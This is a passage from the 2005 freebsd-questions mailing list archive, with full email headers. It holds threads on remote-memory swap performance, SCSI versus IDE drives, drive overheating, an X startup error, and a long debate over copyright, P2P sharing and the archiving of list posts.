-0000 Michael Hines wrote: > > I've written a remote-memory system for a thesis of mine. As a result, > I'm able to setup a diskless client that swaps to remote memory > instead of a remote disk. The specifics, reasons, and design of the > system are a long story.... > > However - this system allows for much faster page-fault latencies (on > the order of 10-20 times faster than using a disk for swap space). The > problem is: I cannot get the swapper to page-out or page-in data any > faster. > > My end question is: how would one DRASTICALLY increase the rate at > which the system does its paging in freebsd? > > Everthing I find on the net says "don't mess with freebsd's VM system > or you'll die and go to hell." > > However, I do in fact need to drastically increase the paging bandwidth. > > Anybody know how? Preferably during runtime? > > Thanks a lot. > > /*********************************/ > Michael R. Hines > Grad Student, Florida State > Dept. Computer Science > http://www.cs.fsu.edu/~mhines/ > Jusqu'a ce que le futur vienne... > /*********************************/ I think the first thing to do is determine the bottleneck you're fighting. Maybe using several machines as swap-slaves would help? (the swapspace will be used interleaved) Also it would help to explain a bit more what you have done so far. Have you written your own swapfs? Kind regards, Alex. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:59:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CC89B16A4CE for ; Sun, 6 Feb 2005 13:59:22 +0000 (GMT) Received: from av9-1-sn1.fre.skanova.net (av9-1-sn1.fre.skanova.net [81.228.11.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id E436D43D48 for ; Sun, 6 Feb 2005 13:59:21 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av9-1-sn1.fre.skanova.net (Postfix, from userid 502) id ABE7137E7A; Sun, 6 Feb 2005 14:59:20 +0100 (CET) Received: from smtp2-2-sn2.hy.skanova.net (smtp2-2-sn2.hy.skanova.net [81.228.8.178]) by av9-1-sn1.fre.skanova.net (Postfix) with ESMTP id 9A6B437E4E for ; Sun, 6 Feb 2005 14:59:20 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp2-2-sn2.hy.skanova.net (Postfix) with SMTP id 6996D37E42 for ; Sun, 6 Feb 2005 14:59:20 +0100 (CET) Received: (qmail 47961 invoked by uid 1001); 6 Feb 2005 13:59:19 -0000 Date: Sun, 6 Feb 2005 14:59:19 +0100 From: Erik Trulsson To: freebsd-questions@freebsd.org Message-ID: <20050206135919.GA47707@falcon.midgard.homeip.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502051745.25937.hindrich@worldchat.com> <1088851878.20050206122453@wanadoo.fr> <200502061401.20967.mark.rowlands@mypost.se> <1987126296.20050206144558@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1987126296.20050206144558@wanadoo.fr> User-Agent: Mutt/1.5.6i Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:59:22 -0000 On Sun, Feb 06, 2005 at 02:45:58PM +0100, Anthony Atkielski wrote: > Mark Rowlands writes: > > MR> I use my gfs tights....... christ... I hope she's not subscribed here as > MR> well > > What type of material and weave? Tights = stockings? Hmm. I never > thought of that--by gosh, it might work! > > MR> yup.. but only on old scsi drives > > Unfortunately, my older machine has some of those "old SCSI drives." > The kind with connectors that nobody uses any more, apparently. > > Why are SCSI drives so out of style lately? Aren't they still the best > performers? Because SCSI drives are much more expensive counted in dollars/megabyte than ATA drives. The performance-gap between SCSI and IDE has also decreased quite a bit in recent years. A significant part of the performance advantage of SCSI over IDE is also simply because SCSI drives tend to have higher rotation speeds (10000 rpm or 15000 rpm compared to 7200 rpm for a typical IDE drive today.) The higher rpm means more noise and heat from the disk, making it less suitable for desktop machines. It is also worth noting that for the typical access patterns of single-user desktop machines the performance advantage of SCSI is quite small, and generally not worth the higher cost. It is for busy multi-user servers that SCSI really shines, which is a relatively small market. -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 14:00:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D18D216A4CF for ; Sun, 6 Feb 2005 14:00:58 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3E99843D45 for ; Sun, 6 Feb 2005 14:00:58 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 7344A1C0009F for ; Sun, 6 Feb 2005 15:00:57 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 34A431C0009D for ; Sun, 6 Feb 2005 15:00:57 +0100 (CET) X-ME-UUID: 20050206140057215.34A431C0009D@mwinf1112.wanadoo.fr Date: Sun, 6 Feb 2005 15:00:56 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1776685253.20050206150056@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <16902.6863.103316.326437@szamoca.krvarr.bc.ca> References: <4203F451.9070307@cis.strath.ac.uk> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> <16901.23792.668233.856876@szamoca.krvarr.bc.ca> <1258430214.20050206025603@wanadoo.fr> <16901.34645.144852.476246@szamoca.krvarr.bc.ca> <1837626073.20050206115340@wanadoo.fr> <16902.6863.103316.326437@szamoca.krvarr.bc.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 14:00:59 -0000 Sandy Rutherford writes: SR> I'm not sure what you mean here. If you are going to call http SR> public, then wouldn't any other open protocol also be public? It's a network that people explicitly opt into. For example, if you put something on a P-to-P network, it's reasonable to assume that it will be available to other users who choose to use that network, but it's not reasonable to assume that it will be available to other people who have no access to such networks. Similarly, placing material on the Web means that it's reasonable to assume that anyone with access to the Web will have access to the material, but it's not reasonable to assume that people without Web access will be able to get to it (via a printed book, for example). Finally, making something public via the printed page implies that it's accessible to everyone who can buy printed pages, but it does not imply publication on the Web, which is a separate medium. That's why print rights don't include electronic rights (and vice versa). SR> 80. (1) Subject to subsection (2), the act of reproducing all or any SR> substantial part of (a) a musical work embodied in a sound SR> recording, ... SR> SR> onto an audio recording medium for the private SR> use of the person who makes the copy does not constitute an SR> infringement of the copyright in the musical work, the SR> performer's performance or the sound recording. SR> [25] Thus, downloading a song for personal use does not amount to SR> infringement. See Copyright Board of Canada, Private Copying 2003-2004 SR> decision, 12 December 2003 at page 20. I agree. SR> Now #2, authorization: SR> SR> Finckenstein states: SR> SR> [26] No evidence was presented that the alleged infringers either SR> distributed or authorized the reproduction of sound recordings. They SR> merely placed personal copies into their shared directories which were SR> accessible by other computer user via a P2P service. Why would they put these copies into a shared directory other than to redistribute them to other people? SR> I cannot see a real difference between SR> a library that places a photocopy machine in a room full of SR> copyrighted material and a computer user that places a personal SR> copy on a shared directory linked to a P2P service. In either SR> case the preconditions to copying and infringement are set up but SR> the element of authorization is missing. This analog is flawed. In a library, all the books on the shelves are authorized reproductions of copyrighted works. In a P2P configuration, typically, the files in the shared directory are unauthorized copies of copyrighted works. Thus, placing unauthorized copies of files in the shared directory is infringement, just as placing photocopies of books on the shelves of a library would be. A further difference is that books in a library can be consulted without making copies of them, whereas consulting files in a shared directory on a P2P network requires making copies of them, which is infringement if unauthorized. A P2P network is like a library without open racks in which the only way to consult a book is to ask for a photocopy of the book. SR> ...Before it constitutes distribution, there must be a positive act SR> by the owner of the shared directory, such as sending out the SR> copies or advertising that they are available for copying... What purpose does a shared directory serve, if not distribution? SR> I believe that your comment regarding "...as long as the extra copies SR> don't allow you [to] deprive the copyright owner of revenue in some SR> way..." is referring to the "Exclusive Right to Make Available" that SR> is often attached to most copyrights. (Correct me if I am wrong.) SR> Internationally, that right is stipulated in the World Intellectual SR> Property Organization Performances and Phonograms Treaty (1996). SR> Canada has never signed that treaty. The USA has. This amounts to an SR> important difference. With WTTP, I can prevent anyone from infringing SR> on my ability to gain income from my copyright material, by (say) SR> making such material "available" from other sources. Without WTTP, by SR> and large the best that I can do is prevent someone else from making SR> money for themselves with my copyrighted material. These are of SR> course generalizations, but this is the roughly idea of how I SR> understand that WTTP changes the situation. That's a big difference! SR> Note that there are some clear parallels in this with how the GPL & SR> BSD licenses work. I'm not sure why this software isn't just released to the public domain. Then it would truly be open source (until the patent attorneys showed up, at least). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 14:01:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 16CCA16A4CF for ; Sun, 6 Feb 2005 14:01:34 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 96ED343D46 for ; Sun, 6 Feb 2005 14:01:33 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j16E1aj99331 for ; Sun, 6 Feb 2005 06:01:36 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sun, 6 Feb 2005 06:01:34 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1088851878.20050206122453@wanadoo.fr> Importance: Normal Subject: RE: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 14:01:34 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Sunday, February 06, 2005 3:25 AM > To: freebsd-questions@freebsd.org > Subject: Re: Leaving a Computer Running ? > > > Ted Mittelstaedt writes: > > TM> In a clean room or positive pressure network room, where there is > TM> an extremely low level of dust, off-the-shelf computer fans will > TM> last many years longer than fans in a typical home PC. > > What about filters? HEPA-quality required. On my current FreeBSD server (not in a clean room, > alas!), the fans that I installed have washable plastic filters, which > removes part of the dust. Worthless for this kind of problem. The particles that are the problem go right through these. I'd love to find disposable filters that > capture more dust and can simply be tossed at regular intervals. > Ideally, they wouldn't interfere with airflow too much, but I realize > that catching all dust and maintaining airflow are almost mutually > exclusive. > You just put in a bigger filter and more fans for that problem. What are needed are better fans. The old VAX/VMS systems had fans that ran perfectly balanced, forever, even when coated with crud. > Currently I have two 8-cm fans blowing directly past the disk > drives, in > order to keep them as cool as possible (not that the drives are that > busy, but I'm trying to be prudent). > > TM> For PC's left on for long periods, they have a different problem > TM> because disk drives that spin at full speed continuiously (as > TM> server drives do, servers have power saving disabled on their > TM> drives of course for obvious reasons) the disk will eventually > TM> overheat in just about all the garden-variety case designs. > TM> (you can fix this yourself of course, by adding more fans to > TM> the cases) Once the drive overheats the lubrication migrates > TM> out of the bearings and if the drive is turned off for more > TM> than 6-8 hours, it cools down enough to the point that the drive > TM> will never spin up again. > > Interesting! Have you actually had this happen? Yes, about 6 times over the last 10 years. All of it was crap small minitowers or otherwise airflow-restricted cases that let the drive heat up too hot to touch. Sometimes hitting it with a hammer - hard - right when you apply power will get them going again. I've had drives fail > on restart but not because they wouldn't spin up (as far as I know). > > I've had drives fail very quickly when I've packed too many of > them into > a single case (as in weeks or months). We needed the additional space > and we were lucky to get the drives--asking for more fans or a better > case or anything like that would have been an exercise in futility. > Yup, happens all the time. You needed a Go Big Red Fan for that situation. (read Neal Stephenson's The Big U for an explanation) Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 14:19:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6D31216A4CE for ; Sun, 6 Feb 2005 14:19:10 +0000 (GMT) Received: from mail25.sea5.speakeasy.net (mail25.sea5.speakeasy.net [69.17.117.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3815F43D1D for ; Sun, 6 Feb 2005 14:19:10 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 1501 invoked from network); 6 Feb 2005 14:19:09 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail25.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 6 Feb 2005 14:19:09 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 5F09083; Sun, 6 Feb 2005 09:19:08 -0500 (EST) Sender: lowell@be-well.ilk.org To: "Mr. Ralph" References: <20050206005516.76246.qmail@web53404.mail.yahoo.com> From: Lowell Gilbert Date: 06 Feb 2005 09:19:08 -0500 In-Reply-To: <20050206005516.76246.qmail@web53404.mail.yahoo.com> Message-ID: <44r7jt7ov7.fsf@be-well.ilk.org> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: FreeBSD Questions Subject: Re: Installing on an IBM 600X - anyone tried it? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: FreeBSD Questions List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 14:19:10 -0000 "Mr. Ralph" writes: > I installed FreeBSD 5.3 on an IBM 600X, and tried to get X started. I get this error I can't really understand. I'm going to type it below so maybe someone can point me in the right direction? Thanks in advance everyone. > > --Ralph > > xauth: creating new authority file /home/ralph/.Xauthority > xauth: (argv):1: bad display name ":0" in "remove" command > xauth: (argv):1: bad display name ":0" in "remove" command > > and then X exits - what does this mean?? The source of the problem isn't visible there. Look at the log file (probably created in /var/log/). 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Version: 7.0.300 / Virus Database: 265.8.5 - Release Date: 03/02/05 --=======AVGMAIL-42061429412E=======-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 14:30:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0975716A4CE for ; Sun, 6 Feb 2005 14:30:42 +0000 (GMT) Received: from szamoca.krvarr.bc.ca (s142-179-111-232.bc.hsia.telus.net [142.179.111.232]) by mx1.FreeBSD.org (Postfix) with ESMTP id 73DBC43D39 for ; Sun, 6 Feb 2005 14:30:41 +0000 (GMT) (envelope-from sandy@krvarr.bc.ca) Received: from szamoca.krvarr.bc.ca (localhost [127.0.0.1]) by szamoca.krvarr.bc.ca (8.13.1/8.12.11) with ESMTP id j16EUcCa087820 for ; Sun, 6 Feb 2005 06:30:38 -0800 (PST) (envelope-from sandy@szamoca.krvarr.bc.ca) Received: (from sandy@localhost) by szamoca.krvarr.bc.ca (8.13.1/8.12.11/Submit) id j16EUbE9087817; Sun, 6 Feb 2005 06:30:37 -0800 (PST) (envelope-from sandy) From: Sandy Rutherford MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16902.10765.534587.541885@szamoca.krvarr.bc.ca> Date: Sun, 6 Feb 2005 06:30:37 -0800 To: freebsd-questions@freebsd.org In-Reply-To: <1776685253.20050206150056@wanadoo.fr> References: <4203F451.9070307@cis.strath.ac.uk> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> <16901.23792.668233.856876@szamoca.krvarr.bc.ca> <1258430214.20050206025603@wanadoo.fr> <16901.34645.144852.476246@szamoca.krvarr.bc.ca> <1837626073.20050206115340@wanadoo.fr> <16902.6863.103316.326437@szamoca.krvarr.bc.ca> <1776685253.20050206150056@wanadoo.fr> X-Mailer: VM 7.07 under Emacs 21.3.1 X-krvarr.bc.ca-MailScanner-Information: Please contact postmaster@krvarr.bc.ca for more information. X-krvarr.bc.ca-MailScanner: Not scanned: please contact postmaster@krvarr.bc.ca for details. X-krvarr.bc.ca-MailScanner-From: sandy@szamoca.krvarr.bc.ca Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 14:30:42 -0000 >>>>> On Sun, 6 Feb 2005 15:00:56 +0100, >>>>> Anthony Atkielski said: SR> Now #2, authorization: SR> SR> Finckenstein states: SR> SR> [26] No evidence was presented that the alleged infringers either SR> distributed or authorized the reproduction of sound recordings. They SR> merely placed personal copies into their shared directories which were SR> accessible by other computer user via a P2P service. > Why would they put these copies into a shared directory other than to > redistribute them to other people? Well, yes I agree that this is an implicit act of distribution. However, that is not enough. An explicit act is required. SR> I cannot see a real difference between SR> a library that places a photocopy machine in a room full of SR> copyrighted material and a computer user that places a personal SR> copy on a shared directory linked to a P2P service. In either SR> case the preconditions to copying and infringement are set up but SR> the element of authorization is missing. > This analog is flawed. > In a library, all the books on the shelves are authorized reproductions > of copyrighted works. In a P2P configuration, typically, the files in > the shared directory are unauthorized copies of copyrighted works. That's the point! They typically are not unauthorized copies, at least according to Canadian law. I fully expect that the situation would be different in the USA or France. First, by selling me a copy of a CD, they are in fact authorizing me to make arbitrarily many copies for personal use and that includes ripping to my hard drive. Furthermore, since Finckenstein has concluded in point #1 that downloading is legal, then anything that I download is in fact also authorized. An authorized copy is simply a legal copy. I do not require any special permission from the copyright holder, unless required by law. Virtually all files on the Canadian P2P music sharing networks are legal authorized copies. I agree that this is a crazy state of affairs, which is why Parliament really has no choice but to rewrite the legislation. However, whether they will go so far as to signing WTTP, I don't know. Canadian copyright and patent laws have traditionally tended to be more liberal than the norm. Sandy From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 14:43:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 43F5B16A4CE for ; Sun, 6 Feb 2005 14:43:04 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 11AEE43D41 for ; Sun, 6 Feb 2005 14:43:03 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 4531F1C0014A for ; Sun, 6 Feb 2005 15:43:02 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id A0AE81C00130 for ; Sun, 6 Feb 2005 15:43:01 +0100 (CET) X-ME-UUID: 20050206144301658.A0AE81C00130@mwinf0908.wanadoo.fr Date: Sun, 6 Feb 2005 15:43:01 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <675747489.20050206154301@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1574286459.20050205120828@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 14:43:04 -0000 Ted Mittelstaedt writes: TM> Many content creators take the attitude that any republishing TM> isn't covered under Fair Use. Probably because that attitude is grossly congruent with the law and jurisprudence. TM> That is understandable because the Fair Use doctorine is TM> deliberately broad ... It is somewhat vague ... but it is not broad. TM> This attitude is a lot more prevalent among graphic media creators TM> than authors, because pictures pack a lot more content in a small TM> package. So I understand where your coming from. Fair use is generally not a defense in any situation that involves copying an entire work, even if it is written text. Fair use almost always implies the use of only a portion of a work. TM> Well unless things have changed TM> very recently, you do not have to sign up to post to the FreeBSD TM> Questions mailing list. You have to sign up to receive copies of TM> posts to it, but questions has always been left open for posting. If you have to subscribe to receive it, then it's not entirely public. TM> In any case with other mailing lists, such as the public ones that TM> require signing up, you are confusing an access restriction with TM> signing up. They are one and the same. Any signing up action generally creates an implicit or explicit contract. The subscriber is granted some specific access in exchange for completing the subscription procedure. Ideally the subscription process requires the subscriber to explicitly acknowledge his agreement with the terms of the contract. TM> Signing up to post to a public mailing list does not constitute an TM> access restriction, because anybody can sign up, and the only purpose TM> of having signups is to block spammers. Just signing up to receive it is sufficient to make it non-public. TM> You might have been able to argue at one time in the past that a TM> signup on a mailing list constituted an access restriction. I can still argue that now. TM> However today, most mailing lists would not be able to function TM> at all without signups because of the amount of spam. Whether they can function or not does not affect their legal status. TM> Thus, signups to them are now an integral requirement for them to TM> operate, thus a court would look at any additional restrictions that TM> the signup applied, not just the fact that there was a signup. No, a court could very well look at only the points I've raised. It doesn't have to look at anything else. The requirements of contract law are not waived simply because they are inconvenient for one party. A contract, once concluded, remains binding even if one party finds it troublesome to live up to its obligations under the contract. TM> Your arguing that a political rally is a public forum because there's TM> no restrictions for someone to be there holding a sign - but there TM> are restrictions because you have to wear clothing to be there or TM> they would toss you out. Those restrictions, where they exist, are not imposed by the rally organizers, they are imposed by statutory law. So they don't change the public character of the rally. TM> That is true. However keep in mind that spamming is now a federal TM> crime. Thus it is illegal (in the United States) for the FreeBSD TM> mailing list maintainers to assist spammers. Forwarding spam to you TM> assists spammers. No, it does not, if no editorial control is exerted over the list. If what you say is true, then every ISP and every node participating in the transmission of any e-mail message becomes liable if that message is spam, even if no control on content is exerted by any of these entities. Obviously, that's not the way it works. TM> Thus it is arguable they are required by law exert control on the TM> list to block spam. Only if they exert control on content in any other way. Once you edit content, you assume liability for all of the content. TM> You cannot argue that since the government now by law requires them TM> to block spam ... Which law requires this? TM> Naturally you are correct if there's additional editorial control TM> over the content of the FreeBSD questions mailing list than spam TM> blocking, that the forum becomes non-public. Even spam blocking causes the forum to assume that character. TM> Have you seen this control here? Yes. TM> But for museums that display old masters the situation is different. TM> They know that they have no copyright rights over a painting that is TM> 400 years old, and if they didn't prohibit pictures, they would not TM> be able to prevent the publishing of books of pictures of their TM> paintings. Many museums allow you to take pictures freely. The usual restriction, if there is one, is on flash photography. However, property owners can restrict what may be done on their property, within broad limits. So they can prevent you from taking photos inside their property. However, they can't prevent you from taking photos outside the property, so if an old painting in the public domain is visible from outside the property, you can photograph it. TM> You haven't been in many museums lately. I'm surrounded by museums. The vast majority don't prohibit photography. But policies vary from place to place and from museum to museum. TM> I don't assert that and never have. I assert that with e-publishing TM> that there are not multiple venues like your trying to claim that TM> there are. But there _are_ multiple venues: open Web sites, protected Web sites, open but unindexed sites, P2P networks, FTP servers, e-mail servers, and so on. Permission for publication in one of these venues does not imply permission in all others. Just because they all use computers doesn't mean that they are all one and the same. TM> Well, actually, yes (with a stipulation) because isn't that what a TM> library does? No. Libraries buy copies. TM> Let's say you make 11 copies so now you have 12 copies including TM> the original. You have 12 branch libraries that each copy is sent to. TM> When someone checks out a copy all other 11 copies are locked. TM> That saves you a lot of money for having to haul books around TM> between branch libraries. It's also identical to having only one copy. TM> Now, how exactly are these 2 universes different? Why does it matter? TM> You see this is why I think that trying to define multiple e-publishing TM> venues is a really bad idea. Not to people whose ability to pay rent and buy groceries depends on being able to control the use of their intellectual property. TM> I didn't say that, I said -publishing- which is different TM> than copyright. You mentioned the First Amendment. It's not relevant here. TM> Correct, I should have said 'and Fair Use' as Fair Use was developed TM> separately from the First Amendment. Yes. And it's just a quirk of copyright law, not a Constitutional right. TM> If she is asking Google to remove the links, then correct. But she TM> wasn't, she was asking the FreeBSD list maintainers to remove it TM> from their archive. That is her prerogative, unless she had explicitly agreed to the archiving of her posts. There's a big difference between ephemeral and durable forms of distribution. Granting permission to use material that will be seen temporarily and then will disappear is very different from granting permission to use material in perpetuity. The former does not imply the latter. Furthermore, a public archive exposes her posts to an audience well beyond that subscribed to the mailing list, and when she subscribes she only consents implicitly to distribution to the latter, not the former (and then only temporarily). TM> You just shouldn't let some corporations desire to bend the rules TM> influence your actions. These principles were not invented by corporations. TM> When someone is trying to grab power they were never given TM> orignally, you don't just roll over. Contract law has quite a long history. TM> For a mailing list, it's archives are part and parcel of the forum, TM> they are not an 'other form' No. Many mailing lists are not archived. Saying that archives are implicit to mailing lists is like saying that tape recordings are implicit to telephone conversations. Note that you must agree explicitly to recording of telephone conversations. And you must agree explicitly to archiving of mailing list messages. TM> Wrong. There is no law saying that Google must allow authors to TM> require removal. Copyright law gives authors certain rights; their applicability to Google is a matter of some debate. TM> Google allows people to request removal of links and material in the TM> search database, but authors of these links do not have any right to TM> demand this, this is entirely something that Google has decided as TM> editor of the database, to allow authors to do. The ability of persons to demand that Google do this has not been established (or eliminated) by jurisprudence thus far. TM> The long and short of it is that you cannot base a Fair Use doctorine TM> of e-publishing on what Google does. You cannot use fair use to allow archiving in the absence of permission. TM> No, because she cannot present proof that the Valerie in the posts that TM> are being satirized is the same Valerie as she is. She need only demonstrate beyond a reasonable doubt that persons seeing the posts will identify them with her. Trademark protection actions do this all the time. TM> It's like, I use an anonymous login on a forum, the anonymous login TM> is tarred and feathered, I try to sue the people doing the tarring TM> and feathering based on the grounds that I'm being libeled. Except that TM> nobody knows it's me because I'm using an anonymous login so how TM> have I been libeled exactly? But if you are anonymous, nobody is using your name. TM> I don't think a libel argument would get any further than a computer TM> crime argument. Nice try though, rather original. Not really original, as actions along these lines have already succeeded in the past. Libel is pretty well established and making it electronic doesn't really change its essential character or its actionable nature. TM> Well, now, that is a most interesting angle that I hadn't considered. The essence of this angle is that a person implicitly agrees to her posts being seen by a specific group or category of individuals, namely, other people who have subscribed to the list and who will obviously receive anything she posts. This does not include, however, publication of her posts via an unrestricted archive to a much larger audience outside the scope of the subscription list. And while she implicitly consents to the ephemeral distribution of her posts to other list members, that does not imply consent to keep these posts online forever (see my comment on telephone recordings above). TM> However I think it would end up invalidated due to the old editorial TM> content control clause. That would have no effect on it, as editorial control is a separate issue. TM> What your argument is based on is the idea that there is a difference TM> between members of the general public and list members - thus the TM> forum is content-restricted, thus there's an editor, yadda yadda yadda TM> we know the rest. Yes. And the fact that there ARE identifiable list members proves that such a difference exists. The list is not sent to the whole world, it is only sent to current members of the list (not past, not future, only current, and no one else). TM> However, for public lists I think they would all argue that a signup TM> is an integral requirement for the operation of the list in order to TM> block spammers. The desire to block spammers does not grant any waiver of the fundamental principles of contracts. No matter how much a list owner may wish to block spam, he cannot use that as an excuse to impose unacknowledged obligations on people joining the list. They have to _explicitly_ agree to such terms. TM> Because of that there really doesen't exist a legal 'membership' of TM> the list. The spam protection is as a matter of fact why there's no TM> signup to view the archives - because it's not needed since spammers TM> viewing the archives isn't illegal. Viewing the archives may not be illegal, but archiving the messages may be a copyright infringement, or a breach of contract, or both. In some cases, it may also open the door to libel and privacy actions (some jurisdictions have upheld this view, as for example in the case of someone who says something that was reasonable at the time but became embarrassing years later or when taken out of context, which never should have happened but happened anyway because someone was archiving the material). TM> Of course, if the public had to pay a fee or some such to view the TM> list archives, that would be different. Money need not change hands. All you need is mutual obligations. TM> They would have to. No, they wouldn't. Someone who sets up a list for alcoholics or AIDS victims or anything else and then archives the posts without asking subscribers for permission opens himself to a heap of trouble. TM> If the recovering alcoholics list (and I think that such things TM> exist on Usenet) is completely open for anyone to get posts and to TM> subscribe to, then there's no difference between a searchable TM> archive and the mailing list. It's not completely open if someone must subscribe to it. If you want completely open, look at USENET. TM> Since the mailing list membership is everyone on the Internet TM> (since anyone can post to it) and the archives are already TM> world-accessible, this condition already exists. No. Only members _receive_ posts from the list, so the archive must be accessible only to members. Worse yet, one can argue that subscribers agree only to distribute their posts to members who are subscribed at the same time (and not past or future members), although this argument may not withstand a court test because the very nature of an archive tends to span changes in membership. TM> How do you define leaving the list. By unsubscribing, so that she no longer receives traffic from the list in her mailbox. TM> No, this is just manufacturing on your part. No, it's a legal reality. It's related to expectations of privacy, not just copyright. When you walk nude into a doctor's examining room, you consent to be seen nude by the doctor and her nurse, but you do not consent to have your picture seen by everyone on the Internet. So if the doctor has a secret webcam in the room, he's violating your privacy, unless you explicitly agree to this in advance. TM> Since when do actions in a public forum have a time limit on them? Since members have a reasonable expectation that what they say will not be preserved forever (cf. telephone conversations). TM> Uh huh. Sure. Has there ever been a public mailing list that was TM> truly public - with no editorial control over the posts, and no TM> restrictions on access - that has been required by court order to TM> be shut down? No such mailing list can exist, since it would have to distribute messages to everyone in the world. There is USENET, though, which is precisely this type of medium. Courts 